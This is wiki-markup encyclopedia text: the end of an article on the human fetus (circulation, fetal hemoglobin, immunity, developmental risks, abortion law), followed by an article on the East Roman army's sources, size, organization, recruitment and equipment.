Remnants of the fetal circulation can be found in the adult.<ref>Dudek, Ronald and Fix, James. ''[http://books.google.com/books?vid=ISBN0781757266&id=LGcI-FVCruEC&pg=RA1-PA54&lpg=RA1-PA54&ots=2h9BlGiwkB&dq=%22Remnants+of+fetal+circulatory%22&sig=FFhRCd92q-wfUbGgR81vu62sBMA#PRA1-PA54,M1 Board Review Series Embryology]'' (Lippincott 2004). Retrieved 2007-03-04.</ref><ref>University of Michigan Medical School, [http://www.med.umich.edu/lrc/coursepages/M1/embryology/embryo/18changesatbirth.htm Fetal Circulation and Changes at Birth]. Retrieved 2007-03-04.</ref>

{| class="wikitable"
! Fetal !! Developed
|-
| [[Foramen ovale (heart)|foramen ovale]] || [[Fossa ovalis (heart)|fossa ovalis]]
|-
|[[ductus arteriosus]] || [[ligamentum arteriosum]]
|-
| extra-[[hepatic]] portion of the fetal left [[umbilical vein]] || [[ligamentum teres hepatis]] (the "round ligament of the liver").
|-
| intra-hepatic portion of the fetal left umbilical vein (the [[ductus venosus]]) || [[ligamentum venosum]]
|-
| [[Anatomical terms of location#Proximal and distal|proximal]] portions of the fetal left and right [[umbilical arteries]] || [[umbilical branches]] of the [[internal iliac arteries]]
|-
| [[Anatomical terms of location#Proximal and distal|distal]] portions of the fetal left and right umbilical arteries || [[medial umbilical ligaments]] ([[urachus]])
|}

In addition to differences in circulation, the developing fetus also employs a different type of oxygen [[transport protein|transport molecule]] in its [[hemoglobin]], from that when it is born and breathing its own oxygen. [[Fetal hemoglobin]] enhances the fetus' ability to draw oxygen from the placenta. Its dissociation curve to oxygen is shifted to the left, meaning that it will take up oxygen at a lower concentration than adult hemoglobin will. This enables fetal hemoglobin to absorb oxygen from adult hemoglobin in the placenta, which has a lower pressure of oxygen than at the lungs. In the human infant, until about six months old, the hemoglobin molecule is made up of two alpha and two gamma chains (2α2γ). The gamma chains are gradually replaced by beta chains until the molecule becomes that of hemoglobin A with its two chains of alpha and two chains of beta (2α2β).

<center><gallery>
Image:Ultrasound_image_of_a_fetus.jpg|[[3D ultrasound]] of {{convert|3|in|mm|adj=on}} fetus (about 14 weeks [[gestational age]])
Image:Sucking his thumb and waving.jpg|Fetus at 17 weeks
Image:3dultrasound 20 weeks.jpg|Fetus at 20 weeks
</gallery></center>

==Immune system==
The [[placenta]] functions as a [[maternal-fetal barrier]] against the transmission of [[microbe]]s, and when this is insufficient, [[mother-to-child transmission]] of infectious diseases can occur.

Also, maternal [[Immunoglobulin G|IgG antibodies]] cross the placenta, giving the fetus [[passive immunity]] against those diseases for which the mother has antibodies. This transfer of antibodies in humans begins as early as the 20th week of gestational age, and certainly by the 24th week.<ref>[http://books.google.se/books?id=apeLf0mPx1QC&pg=PA202 Page 202] in: {{cite book |author=Pillitteri, Adele |title=Maternal and Child Health Nursing: Care of the Childbearing and Childrearing Family |publisher=Lippincott Williams & Wilkins |location=Hagerstwon, MD |year=2009 |pages= |isbn=1-58255-999-6 |oclc= |doi= |accessdate=}}</ref>

==Human developmental problems==

{{see also|Congenital disorder}}

A developing fetus is highly susceptible to anomalies in its growth and metabolism, increasing the risk of birth defects. One area of concern is the pregnant woman's lifestyle choices made during pregnancy.<ref>Dalby, JT. (1978).''Environmental effects on prenatal development'' Journal of Pediatric Psychology, 3, 105-109.</ref> Diet is especially important in the early stages of development. Studies show that supplementation of the woman's diet with [[folic acid]] reduces the risk of [[spina bifida]] and other [[neural tube]] defects. Another dietary concern is whether breakfast is eaten. Skipping breakfast could lead to extended periods of lower than normal nutrients in the woman's blood, leading to a higher risk of [[Preterm birth|prematurity]], or other birth defects in the fetus. During this time alcohol consumption may increase the risk of the development of [[fetal alcohol syndrome]], a condition leading to [[mental retardation]] in some infants.<ref>{{cite book |author=Streissguth, Ann Pytkowicz |title=Fetal alcohol syndrome: a guide for families and communities |publisher=Paul H Brookes Pub |location=Baltimore, MD |year=1997 |isbn=1-55766-283-5 }}</ref>
[[smoking and pregnancy|Smoking during pregnancy]] may also lead to reduced birth weight. Low birth weight is defined as 2500 grams (5.5 lb). Low birth weight is a concern for medical providers due to the tendency of these infants, described as ''premature'' by weight, to have a higher risk of secondary medical problems. Some research shows that fetal ultrasounds (including Doppler, 3D/4D ultrasound, and 2D ultrasound) can have negative effect on birth weight and neurodevelopment.<ref>http://www.midwiferytoday.com/articles/ultrasoundrodgers.asp</ref>

Congenital anomalies are acquired before birth. Infants with certain congenital anomalies of the heart can survive only as long as the ductus remains open: in such cases the closure of the ductus can be delayed by the administration of [[prostaglandin]]s to permit sufficient time for the surgical correction of the anomalies. Conversely, in cases of [[patent ductus arteriosus]], where the ductus does not properly close, drugs that inhibit prostaglandin synthesis can be used to encourage its closure, so that surgery can be avoided.

==Legal issues==
[[Abortion law|Abortion of a human pregnancy is legal]] and/or tolerated due to facets of the physician-patient relationship (because the fetus is not considered a [[legal person]]) in many countries such as Australia, India, Canada, most European countries, and the United States. Many of those countries that allow abortion during the fetal stage have gestational time limits, so that [[Late-term abortion#Legal restrictions on later abortion|late-term abortions are not normally allowed]].<ref>Anika Rahman, Laura Katzive and Stanley K. Henshaw. [http://www.guttmacher.org/pubs/journals/2405698.pdf A Global Review of Laws on Induced Abortion, 1985-1997], International Family Planning Perspectives (Volume 24, Number 2, June 1998).</ref>

==See also==
*[[Abortion]]
*[[Fetal position]]
*[[Fetal rights]]
*[[Fetoscopy]]
*[[Neural development]]
*[[Potential person]]
*[[Pregnancy]]
*[[Prenatal development]]
*[[Superfetation]]
*[[Women's rights]]

==References==
{{reflist|2}}

==External links==
{{commons|Fetus}}
* [http://www.ehd.org/prenatal-images-index.php "Prenatal Image Gallery Index"] from The Endowment for Human Development (providing numerous motion pictures of human fetal movement that can be viewed online).
* [http://channel.nationalgeographic.com/episode/in-the-womb-2228?fs=www3.nationalgeographic.com#tab-Videos/01586_05 "In the Womb,"] video from National Geographic.

{{s-start}}
{{succession box|title=[[Stages of human development]] |before=[[Embryo]]|after=[[Infant|Infancy]]|years=Fetus}}
{{s-end}}

{{Embryology}}

[[Category:Developmental biology]]
[[Category:Embryology]]
[[Category:Fertility]]

Eastern Roman army

2014-09-05T01:20:00Z

PythonCode: /* Campaigns */ Changed red link for "West Roman empire" to link to "Western Roman Empire".

{{RomanMilitary}}{{Byzantine Military}}
The '''East Roman army''' refers to the army of the Eastern section of the [[Roman Empire]], from the empire's definitive split in 395 AD to the army's reorganization by [[Byzantine theme|themes]] after the permanent loss of [[Syria]], [[Palestine]] and [[Egypt]] to the [[Arabs]] in the 7th century during the [[Byzantine-Arab Wars]]. The ''East Roman army'' is the continuation of the [[Late Roman army]] of the 4th century until the [[Byzantine army]] of the 7th century onwards.

The East Roman army was a direct continuation of the eastern portion of the [[late Roman army]], from before the division of the empire. The east Roman army started with the same basic organization as the late Roman army and its [[West Roman army|West Roman counterpart]], but between the 5th and 7th centuries, the cavalry grew more important, the field armies took on more tasks, and the border armies were transformed into local militias.

In the 6th century, the emperor [[Justinian I]], who reigned from 527 to 565, sent much of the East Roman army to try to reconquer the former [[West Roman empire]]. In these wars, the East Roman empire reconquered parts of North Africa from the [[Vandal kingdom]] and Italy from the [[Ostrogothic kingdom]], as well as parts of southern [[Spain]]. In the 7th century, the emperor [[Heraclius]] led the east Roman army against the [[Sassanid empire]], temporarily regaining [[Egypt]] and [[Syria]], and then against the [[Rashidun Caliphate]]. His defeat at the [[Battle of Yarmuk]] would lead to the Islamic conquest of Syria and Egypt, and would force the reorganization of the East Roman army, leading to the [[theme (Byzantine district)|thematic system]] of later [[Byzantine army|Byzantine armies]].

== Sources ==

Much of our evidence for the East Roman army's deployments at the end of the 4th century is contained in a single document, the ''[[Notitia Dignitatum]]'', compiled c. 395-420, a manual of all late Roman public offices, military and civil. The main deficiency with the ''Notitia'' is that it lacks any personnel figures so as to render estimates of army size impossible. However, the ''Notitia'' remains the central source on the late Army's structure due to the dearth of other evidence.

The [[Strategikon of Maurice|Strategikon]] of the Emperor Maurikios, from the end of the 6th century, describes the cavalry tactics, organization, and equipment of the East Roman army towards the end of this period.<ref name="Elton, Hugh p. 533">Elton, Hugh, "Army and Battle in the Age of Justinian," in Erdkamp, Paul, ''A Companion to the Roman Army'', p. 533.</ref> The [[De re Militari]] of [[Vegetius]], probably from the beginning of the 5th century, calls for reform of the [[West Roman army]], which was similar to the east Roman army. However, the De re Militari emphasizes the revival of earlier Roman practices, and does not provide a clear view of the tactics, organization, and practices of any branch of the [[late Roman army]].

The histories of [[Ammianus Marcellinus]] provide a glimpse of the late Roman army before the division of the [[Roman empire]]. Those of [[Procopius]], especially his [[Procopius#The Wars of Justinian|Wars]] and parts of his [[Procopius#The Buildings of Justinian|Buildings]], written while accompanying the [[magister militum]] [[Belisarius]] during the emperor [[Justinian]]'s wars against the [[Sassanid empire]] and the [[barbarian successor kingdoms]], provide a view of the east Roman army in the period, and its campaigns.<ref name="Elton, Hugh p. 533"/> The histories of [[Agathias]] and [[Menander Protector|Menander]] continue those of Procopius.<ref name="Elton, Hugh p. 533"/>

Another major source for the East Roman army includes the legal codes published in the East Roman empire in the 5th and 6th centuries: the [[Theodosian code]] (438) and the ''[[Corpus Iuris Civilis]]'' (528-39). These compilations of Roman laws dating from the 4th century contain numerous imperial decrees relating to the regulation and administration of the late army.

==Origins and History==

In 395, the death of the last sole Roman emperor, [[Theodosius I]] (r. 379-95), led to the final split of the empire into two political entities, the West (''Occidentale'') and the East (''Orientale''). The system of dual emperors (called ''Augusti'' after the founder of the empire, [[Augustus]]) had been instituted a century earlier by the great reforming emperor [[Diocletian]] (r.284-305). But it had never been envisaged as a political separation, purely as an administrative and military convenience. Decrees issued by either emperor were valid in both halves and the successor of each ''Augustus'' required the recognition of the other. The empire was reunited under one emperor under [[Constantine I]], after 324, under Constantius II, after 353, under Julian, after 361, and Theodosius himself, after 394.

The division into two sections recognized a growing cultural divergence. The common language of the East had always been [[Ancient Greek|Greek]], while that of the West was [[Latin]]. This was not ''per se'' a significant division, as the empire had long been a fusion of Greek and Roman cultures ([[classical civilisation]]) and the Roman ruling class was entirely bilingual. But the rise of [[Christianity]] strained that unity, as the cult was always much more widespread in the East than in the West, which was still largely pagan in 395.{{citation needed|date=September 2013}} Constantine's massive reconstruction of the city of [[Byzantium]] into [[Constantinople]], a second capital to rival Rome, led to the establishment of a separate eastern court and bureaucracy.

Finally, the political split became complete with the collapse of the [[Western Roman Empire|Western empire]] in the early 5th century and its replacement by a number of barbarian Germanic kingdoms. The Western army was dissolved and was incorporated into the barbarian kingdoms.{{citation needed|date=September 2013}} The Eastern empire and army, on the other hand, continued with gradual changes until the Persian and later Arab invasions in the 7th century. These deprived the East Roman empire of its dominions in the Middle East and North Africa, especially Egypt.

===The Army from Theodosius I to Zeno ===
{{stub-section|date=September 2013}}

===The Army from Anastasius to Heraclius===
{{stub-section|date=September 2013}}

==Army Size==
[[Warren Treadgold]] estimates that the east Roman army had about 3,500 ''scolae'' or guards, 104,000 field army soldiers, with an uncertain number of sailors, and 195,500 border army soldiers, again with an uncertain number of sailors, in 395.<ref>Warren Treadgold, ''Byzantium and its Army, 281-1081'', pp. 44-59.</ref>

Treadgold also estimates that the east Roman army had about 150,000 field army soldiers, with an uncertain number of sailors, in 559, late in the period of [[Justinian]].<ref>Warren Treadgold, ''Byzantium and its Army, 281-1081'', pp. 59-64.</ref>

Treadgold also estimates that the east Roman army had about 80,000 field army soldiers, with an uncertain number of sailors, in 641, after the Islamic conquest of Syria and Egypt.<ref>Warren Treadgold, ''Byzantium and its Army, 281-1081'', p. 64.</ref>

=== Numbers ===

The size of the Eastern army in 395 is controversial because the size of individual regiments is not known with any certainty. Plausible estimates of the size of the whole 4th-century army (excluding fleets) range from c. 400,000<ref>Elton (1996) 120</ref> to c. 600,000.<ref name="Jones 1964 683">Jones (1964) 683</ref> This would place the Eastern army in the rough range 200,000 to 300,000, since the army of each division of the empire was roughly equal.<ref>Heather (2005) 247</ref>

The higher end of the range is provided by the late 6th-century military historian [[Agathias]], who gives a global total of 645,000 effectives for the army "in the old days", presumed to mean when the empire was united.<ref>[[Agathias]] ''History'' V.13.7-8; Jones (1964) 680</ref> This figure probably includes fleets, giving a total of c. 600,000 for the army alone. Agathias is supported by [[A.H.M. Jones]]' ''Later Roman Empire'' (1964), which contains the fundamental study of the late Roman army. Jones calculated a similar total of 600,000 (exc. fleets) by applying his own estimates of unit strength to the units listed in the ''Notitia Dignitatum''.<ref name="Jones 1964 683"/> Following Jones, Treadgold suggests 300,000 for the East in 395.<ref name="Treadgold 1995 45">Treadgold (1995) 45</ref>

But there are strong reasons to view 200,000 as more likely:

# Jones' assumptions about unit strengths, based on [[papyri]] evidence from Egypt, are probably too high. A rigorous reassessment of the evidence by R. Duncan-Jones concluded that Jones had overestimated unit sizes by 2-5 times.<ref name="Duncan-Jones 1990 105-17">Duncan-Jones (1990) 105-17</ref>
# The evidence is that regiments were typically one-third understrength in the 4th century.<ref>Elton (1996)</ref> Thus Agathias' 600,000 on paper (if it is based on official figures at all) may in reality have translated into only 400,000 actual troops on the ground.
# Agathias gives a figure of 150,000 for the army in his own time (late 6th century) which is more likely to be accurate than his figures for the 4th century. If Agathias' 4th- and 6th-century figures are taken together, they would imply that Justinian's empire was defended by only half the troops that supposedly defended the earlier empire, despite having to cover even more territory (the reconquered provinces of Italy, Africa and S. Spain), which seems inherently unlikely.

The discrepancy in army size estimates is mainly due to uncertainty about the size of ''limitanei'' regiments, as can be seen by the wide range of estimates in the table below. Jones suggests ''limitanei'' regiments had a similar size to Principate auxilia regiments, averaging 500 men each.<ref>Jones (1964) 681-2</ref> More recent work, which includes new archaeological evidence, tends to the view that units were much smaller, perhaps averaging 250.<ref name="Duncan-Jones 1990 105-17"/><ref>Mattingley (2006) 239</ref>

There is less dispute about ''comitatus'' regiments, because of more evidence. Treadgold estimates the 5 ''comitatus'' armies of the East as containing c. 20,000 men each, for a total of c. 100,000, which constitutes either one-third or one-half of the total army.<ref name="Treadgold 1995 45"/>

About one third of the army units in the ''Notitia'' are cavalry, but cavalry numbers were less than that proportion of the total because cavalry unit sizes were smaller.<ref name="Elton 1996 106">Elton (1996) 106</ref> The available evidence suggests that the proportion of cavalry was about one-fifth of the total effectives: in 478, a ''comitatus'' of 38,000 men contained 8,000 cavalry (21%).<ref>Elton (1996) 105-6</ref>

==Higher Command==
[[File:East Roman army command structure.svg|thumb|right|400px| High command structure of the East Roman army c. 395 AD. Based on the ''[[Notitia Dignitatum]]'', a late Roman manual of official posts]]
The later 4th-century army contained three types of army group: (1) Imperial escort armies (''comitatus praesentales''). These were ordinarily based near Constantinople, but often accompanied the emperors on campaign. (2) Regional armies (''comitatus''). These were based in strategic regions, on or near the frontiers. (3) Border armies (''exercitus limitanei''). These were based on the frontiers themselves.

The command structure of the Eastern army, as recorded in the ''Notitia Dignitatum'', is represented diagramatically in the organisation chart (above).

By the end of the 4th century, there were 2 ''comitatus praesentales'' in the East. They wintered near Constantinople at Nicaea and Nicomedia. Each was commanded by a ''[[magister militum]]'' ("master of soldiers", the highest military rank) Each ''magister'' was assisted by a deputy called a ''vicarius''.<ref name="Jones 1964 609">Jones (1964) 609</ref>

There were 3 major regional ''comitatus'', also with apparently settled winter bases: Oriens (based at [[Antioch]]), Thraciae ([[Marcianopolis]]), Illyricum (Sirmium) plus two smaller forces in Aegyptus (Alexandria) and [[Isauria]]. The large ''comitatus'' were commanded by ''magistri'', the smaller ones by ''comites''. All five reported direct to the eastern ''Augustus''. This structure remained essentially intact until the 6th century.<ref name="Jones 1964 609"/>

==Army Organization==

Units were classified according to whether they were attached to the guard (''[[excubitores]]'' and ''[[scholae]]''), the field armies (''[[palatini (Roman military)|palatini]]'' and ''[[comitatenses]]'') or the border armies (''[[limitanei]]'').

The strength of these units is very uncertain and may have varied over the 5th and 6th centuries. Size may also have varied depending on the status of the regiment. The table below gives some recent estimates of unit strength, by unit type and grade:

{| class = wikitable
|+ '''Estimated size of units in the 4th-century army'''<ref>Data from Duncan-Jones (1990) 105-17; Elton (1996) 89; Goldsworthy (2005) 206; Mattingly (2006) 239</ref>
! Cavalry unit type !! Comitatenses ''(inc. palatini)'' !! Limitanei !! XXXXX !! Infantry unit type !! Comitatenses ''(inc. palatini)'' !! Limitanei
|-
|Ala
|
|120-500
|
|Auxilia
|800-1,200 or 400-600
|400-600
|-
|Cuneus
|
|200-300
|
|Cohors
|
|160-500
|-
|Equites
|
|80-300
|
|Legio
|800-1,200
|500
|-
|Schola
|500
|
|
|Milites
|
|200-300
|-
|Vexillatio
|400-600
|
|
|Numerus
|
|200-300
|}
[[File:PraesentalisII2.png|thumb|200px|right|Shield insignia of regiments under the command of the ''Magister Militum Praesentalis II'' of the East Roman army c. 395 AD. Page from the ''Notitia Dignitatum'']]
The overall picture is that ''comitatenses'' units were either c. 1,000 or c. 500 strong. ''Limitanei'' units would appear to average about 250 effectives. But much uncertainty remains, especially regarding the size of ''limitanei'' regiments, as can be seen by the wide ranges of the size estimates.

===Excubitores===
{{Main|Excubitores}}

The Emperor [[Leo I the Thracian|Leo I]] created the ''Excubitores'' as an elite bodyguard of about 300 soldiers.<ref>Treadgold, Warren, ''Byzantium and its Army, 284-1081'', p. 92.</ref>

===Scholae===
{{main|Scholae Palatinae}}

The emperor [[Constantine I]] created the ''Scholae Palatinae'' as an elite guards unit of about 6,000 soldiers,<ref>Treadgold, Warren, ''Byzantium and its Army, 284-1081'', page 54. cites this as their strength in the ''Notitia'', although not necessarily the strength at their founding.</ref> and to replace the [[Praetorian Guard]] of about 10,000 soldiers.<ref>Le Bohec, Yann, ''The Imperial Roman Army'', p. 21, claims 10 cohorts of 1,000 soldiers each, from the Severan period on.</ref> 40 select troops from the ''scholae'', called ''candidati'' from their white uniforms, acted as the emperor's personal bodyguards.<ref>Jones (1964) 613</ref> Apart from the ''[[Agentes in rebus|Agentes in Rebus]]'', the ''Scholae'' were originally organized as cavalry units to accompany the emperors on campaign, although later, individual members of the ''Scholae'' could have non-military missions.<ref name="Treadgold, Warren page 92">Treadgold, Warren, ''Byzantium and its Army, 284-1081'', page 92.</ref> Eventually, [[Justinian]] auctioned off positions in what was still a prestigious ceremonial unit, but no longer a fighting force.<ref name="Treadgold, Warren page 92"/>

They were outside the normal military chain of command as they did not belong to the ''comitatus praesentales'' and reported to the ''magister officiorum'', a civilian official.<ref>''Notitia Dignitatum'' Titles IX and XI</ref> However, this was probably only for administrative purposes: on campaign, the tribunes commanding each ''schola'' probably reported direct to the emperor himself.

The ''Notitia Dignitatum'' lists 7 scolae of cavalry and 1 of agents in the East Roman empire, as well as 5 of cavalry and 1 of agents in the West Roman empire.<ref name="Notitia"/>

===Palatini and Comitatenses===
{{main|Palatini (Roman military)|Comitatenses}}
''Comitatenses'' cavalry units were known as ''vexillationes'', infantry units as either ''legiones'' or ''auxilia''.<ref>Elton (1996) 89</ref> About half the units in the ''comitatus'', both cavalry and infantry, were classified as ''palatini''. The palatini were the majority of the ''comitatus praesentales'' (80% of regiments) and constituted a minority of the regional ''comitatus'' (14%).<ref>''Notitia Dignitatum Orientalis'' Titles V - IX inc.</ref> The ''palatini'' were an elite group with higher status and probably pay.<ref>Elton (1996) 94</ref>

The majority of cavalry units in the ''comitatus'' were traditional melee formations (61%). These units were denoted ''scutarii'', ''stablesiani'' or ''promoti'', probably honorific titles rather than descriptions of function. 24% of regiments were light cavalry: ''equites [[Equites Dalmatae|Dalmatae]]'', ''Mauri'' and ''sagittarii'' (mounted archers). 15% were heavily armoured shock charge cavalry: ''[[cataphracti]]'' and ''[[clibanarii]]''<ref name="Elton 1996 106"/>

===Limitanei===
{{main|Limitanei}}

The limitanei garrisoned fortifications along the borders of the Roman Empire. They were lower-status and lower-paid than the comitatenses and palatini.<ref name=Treadgold149-157>Treadgold 1995, pp. 149-157.</ref> The nature of the limitanei changed considerably between their introduction in the 3rd or 4th century and their disappearance in the 6th or 7th century. In the 4th century, the limitanei were professional soldiers,<ref name=Treadgold161>Treadgold 1995, p. 161.</ref><ref name=Strobel268>Strobel 2011, p. 268.</ref><ref>Southern & Dixon, 1996, p. 57.</ref> and included both infantry and cavalry as well as river flotillas,<ref name=Notitia>The ''Notitia Dignitatum''.</ref><ref name=Treadgold44-59>Treadgold 1995, pp. 44-59.</ref> but after the 5th century they were part-time soldiers,<ref name=Treadgold161/> and after the 6th century they were unpaid militia.<ref>Treadgold 1995, p. 60, for the pay cancellation but not the role.</ref><ref>Southern & Dixon, 1996, p. 36.</ref> The role of the limitanei appears to have included garrisoning frontier fortifications, operating as border guards and customs police, and preventing small-scale raids.<ref name=Treadgold93>Treadgold1995, p. 93.</ref><ref name=Elton204-206>Elton 1996, pp. 204-206.</ref>

==Recruitment==

Although the East Roman army sometimes turned to conscription it usually relied on volunteer soldiers.<ref name="Elton, Hugh p. 535">Elton, Hugh, "Army and Battle in the Age of Justinian," in Erdkamp, Paul, ''A Companion to the Roman Army'', p. 535.</ref> Shortages of money, rather than of manpower, usually limited recruitment.<ref name="Elton, Hugh p. 535"/>

In 395, the army used Latin as its operating language. This continued to be the case into the late 6th century, despite the fact that Greek was the common language of the Eastern empire.<ref>[[Maurice (emperor)|Maurice]] ''Strategikon''</ref>{{verify credibility|date=September 2013}} This was not simply due to tradition, but also to the fact that about half the Eastern army continued to be recruited in the Latin-speaking Danubian regions of the Eastern empire. An analysis of known origins of ''comitatenses'' in the period 350-476 shows that in the Eastern army, the Danubian regions provided 54% of the total sample, despite constituting just 2 of the 7 eastern [[Roman diocese|dioceses]] (administrative divisions): Dacia and Thracia.<ref>Elton (1996) 134</ref> These regions continued to be the prime recruiting grounds for the East Roman army e.g. the emperor [[Justin I]] (r. 518-27), uncle of Justinian I, was a Latin-speaking peasant who never learnt to speak more than rudimentary Greek. The Romanized [[Thracians|Thracian]] ([[Thraco-Roman]]) and [[Illyrians|Illyrian]] inhabitants of those regions, who came to be known as [[Vlachs]] by foreigners in the [[Middle Ages]], retained the Roman name ([[Romanians]]) and the Latin tongue.{{citation needed|date=September 2013}}

==Tactics==
{{stub-section|date=September 2013}}

===Heavy infantry===

The East Roman heavy infantry relied on their spears and shields in close combat.<ref name="Stephenson, I.P. p. 79">Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', p. 79.</ref> These weapons were most effective when the soldiers fought in formation.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 79-80.</ref>

===Maurikios' Strategikon===
{{Main|Strategikon of Maurice}}
The '''Strategikon''' is the earliest surviving Roman/Byzantine [[cavalry manual]], and directly influenced later Byzantine military manuals. The Strategikon describes the organization, equipment, and tactics of the east Roman army at the end of this period.

==Equipment==
{{See also|Category:Ancient Roman military equipment|Roman military personal equipment}}

The east Roman army included both light and heavy infantry,<ref>The ''Notitia Dignitatum'' attests several infantry units of sagittarii/</ref> as well as light and heavy cavalry.<ref>Treadgold, pp.44-59</ref><ref>The ''Notitia Dignitatum'' attests several cavalry units of sagittarii, as well as catafractarii and clibanarii.</ref>

The equipment of the East Roman army changed considerably between the 4th and 7th Centuries. By the end of the period, the cavalry had armor and [[horse armor]], with both bows and lances as weapons. The heavy infantry still had armor, with large shields, spears, and swords. The light infantry had bows.

M.C. Bishop and J.C.M. Coulston, in a major work on Roman military equipment, do not distinguish the equipment of the various branches of the Roman military.<ref name=Bishop233-240/> It is doubtful whether there were any universal differences between the equipment of the palatini, comitatenses, and limitanei.

The late Roman empire had centralized fabricae, introduced by Diocletian, to provide arms and armor for the army.<ref name=Bishop233-240>Bishop & Coulston 2006, pp. 233-240.</ref><ref>Michel Feugère, 2002, ''Weapons of the Romans'', pp. 185-193. He dates this to the time of Diocletian, based on [[John Malalas]]'s quoting one of [[Lactantius]]'s works.</ref><ref>The ''Notitia Dignitatum''</ref><ref>Southern & Dixon, 1996, pp. 89-91.</ref> The introduction of the centralized fabricae, where earlier armies had relied on legionary workshops, may reflect the needs of the field armies.{{citation needed|date=September 2013}}

{{cleanup|Equipment and Tactics|reason=Copied this section from [[Late Roman army]] as a template. We need to cut out everything specific to an earlier period and add everything specific to this period.|date=September 2013}}

The basic equipment of a 4th-century foot soldier was essentially the same as in the 2nd century: metal armour cuirass, metal helmet, shield and sword.<ref>Elton (1996) 107</ref> Some evolution took place during the 3rd century. Trends included the adoption of warmer clothing; the disappearance of distinctive legionary armour and weapons; the adoption by the infantry of equipment used by the cavalry in the earlier period; and the greater use of heavily armoured cavalry called [[cataphracts]].

===Clothing===
According to the ''Strategikon'', the cavalry soldiers should have long "Avar" tunics reaching past the knees, and large cloaks with sleeves.<ref>''Strategikon'', book 1, section 2, following George Dennis' translation.</ref>

According to the ''Strategikon'', the infantry soldiers should have long "Gothic" tunics reaching the knees, or short ones with split sides, as well as "Gothic" shoes with thick hobnailed soles, and "Bulgarian" cloaks.<ref>''Strategikon'', book 12, section b1, following George Dennis' translation.</ref>

In the 1st and 2nd centuries, a Roman soldier's clothes consisted of a single-piece, short-sleeved tunic whose hem reached the knees and special hobnailed sandals (''caligae''). This attire, which left the arms and legs bare, had evolved in a Mediterranean climate and was not suitable for northern Europe in cold weather. In northern Europe, long-sleeved tunics, trousers (''bracae''), socks (worn inside the ''caligae'') and laced boots were commonly worn in winter from the 1st century. During the 3rd century, these items of clothing became much more widespread, apparently common in Mediterranean provinces also.<ref>Goldsworthy (2003) 120, 127</ref> However, it is likely that in warmer weather, trousers were dispensed with and ''caligae'' worn instead of socks and boots.<ref>Mosaic from [[Piazza Armerina]]</ref> Late Roman clothing was often highly decorated, with woven or embroidered strips, ''clavi,'' and circular roundels, ''orbiculi,'' added to tunics and cloaks. These decorative elements usually consisted of geometrical patterns and stylised plant motifs, but could include human or animal figures.<ref>Sumner and D'Amato, 7–9</ref> A distinctive part of a soldier's costume, though it seems to have also been worn by non-military bureaucrats, was a type of round, brimless hat known as the pannonian cap (''pileus pannonicus'').<ref>Sumner and D'Amato, 37</ref>

===Armour===

In the 3rd century, troops are depicted wearing [[mail armor|mail]] or [[scale armour]]. The artistic record shows that most late soldiers wore metal armour, despite Vegetius' statement to the contrary. For example, illustrations in the ''Notitia'' show that the army's ''fabricae'' (arms factories) were producing mail armour at the end of the 4th century.<ref>''Notitia'' Oriens.XI</ref> Actual examples of both scale armour and quite large sections of mail have been recovered, at Trier and Weiler-La-Tour respectively, within 4th-century contexts.<ref>Bishop and Coulston (2006) 208</ref> Officers generally seem to have worn bronze or iron cuirasses, as in the days of the Principate, together with traditional ''[[pteruges]]''.<ref>Elton (1996) 111</ref> The cataphract and ''clibanarii'' cavalry, from limited pictorial evidence and especially from the description of these troops by Ammianus, seem to have worn specialist forms of armour. In particular their limbs were protected by laminated defences, made up of curved and overlapping metal segments: ''"Laminarum circuli tenues apti corporis flexibus ambiebant per omnia membra diducti"'' (Thin circles of iron plates, fitted to the curves of their bodies, completely covered their limbs).<ref>Ammianus, XVI 10</ref>

===Helmets===
{{Cleanup|Helmets|reason=So far this relies on the Late Roman army article. We need to delete the out-of-date sections and include good info on the Byzantine types. Stephenson refers to ridge helmets, spangenhelms, lamellar helmets, coifs (done), and kettle helmets, along with anomalous finds, and imho we should try to touch on each except the anomalous finds.|date=September 2013}}

In general, Roman cavalry helmets had enhanced protection, in the form of wider cheek-guards and deeper neck-guards, for the sides and back of the head than infantry helmets. Infantry were less vulnerable in those parts due to their tighter formation when fighting.<ref>Goldsworthy (2003) 137</ref> During the 3rd century, infantry helmets tended to adopt the more protective features of cavalry helmets of the Principate. Cheek-guards could often be fastened together over the chin to protect the face, and covered the ears save for a slit to permit hearing e.g. the "Auxiliary E" type or its Niederbieber variant. Cavalry helmets became even more enclosed e.g. the "[[Heddernheim]]" type, which is close to the medieval [[great helm]], but at the cost much reduced vision and hearing.<ref>Goldsworthy (2003) 126</ref>

In contrast, some infantry helmets in the 4th century reverted to the more open features of the main Principate type, the "[[Imperial helmet|Imperial Gallic]]". The "Intercisa" design left the face unobstructed and had ear-holes in the join between cheek-guards and bowl to allow good hearing. In a radical change from the earlier single-bowl design, the Intercisa bowl was made of two separate pieces joined by a riveted ridge in the middle (hence the term "[[Late Roman ridge helmet|ridge helmet]]"). It was simpler and cheaper to manufacture, and therefore probably by far the most common type, but structurally weaker and therefore offered less effective protection.<ref>Goldsworthy (2003) 123, 126</ref> The "Berkasovo" type was a more sturdy and protective ridge helmet. This type of helmet usually has 4 to 6 skull elements (and the characteristic median ridge), a nasal (nose-guard), a deep brow piece riveted inside the skull elements and large cheekpieces. This was probably the cavalry version, as the cheekpieces lack ear-holes. Unusually the helmet discovered at [[Burgh Castle]], in England, is of the Berkasovo method of construction, but has cheekpieces with earholes. Face-guards of mail or in the form of metal 'anthropomorphic masks,' with eye-holes, were often added to the helmets of the heaviest forms of cavalry, especially ''cataphracti''.<ref>Southern and Dixon, pp. 92-94</ref><ref>Goldsworthy (2003) 123, 205</ref>

Despite the apparent cheapness of manufacture of their basic components, many surviving examples of Late Roman helmets, including the Intercisa type, show evidence of expensive decoration in the form of silver or [[silver-gilt]] sheathing.<ref>Southern & Dixon (1996) 92–93</ref><ref>Bishop & Coulston (2006) 210–213</ref> A possible explanation is that most of the surviving exemplars may have belonged to officers and that silver- or gold-plating denoted rank; and, in the case of mounted gemstones, high rank e.g. the ornate [[Deurne]] helmet, believed by some historians to have belonged to a senior officer.<ref name="Goldsworthy 2003 202">Goldsworthy (2003) 202</ref> Other academics, in contrast, consider that silver-sheathed helmets may have been widely worn by ''comitatus'' soldiers, given as a form of pay or reward.<ref>Bishop & Coulston (2006) 214–5.</ref>

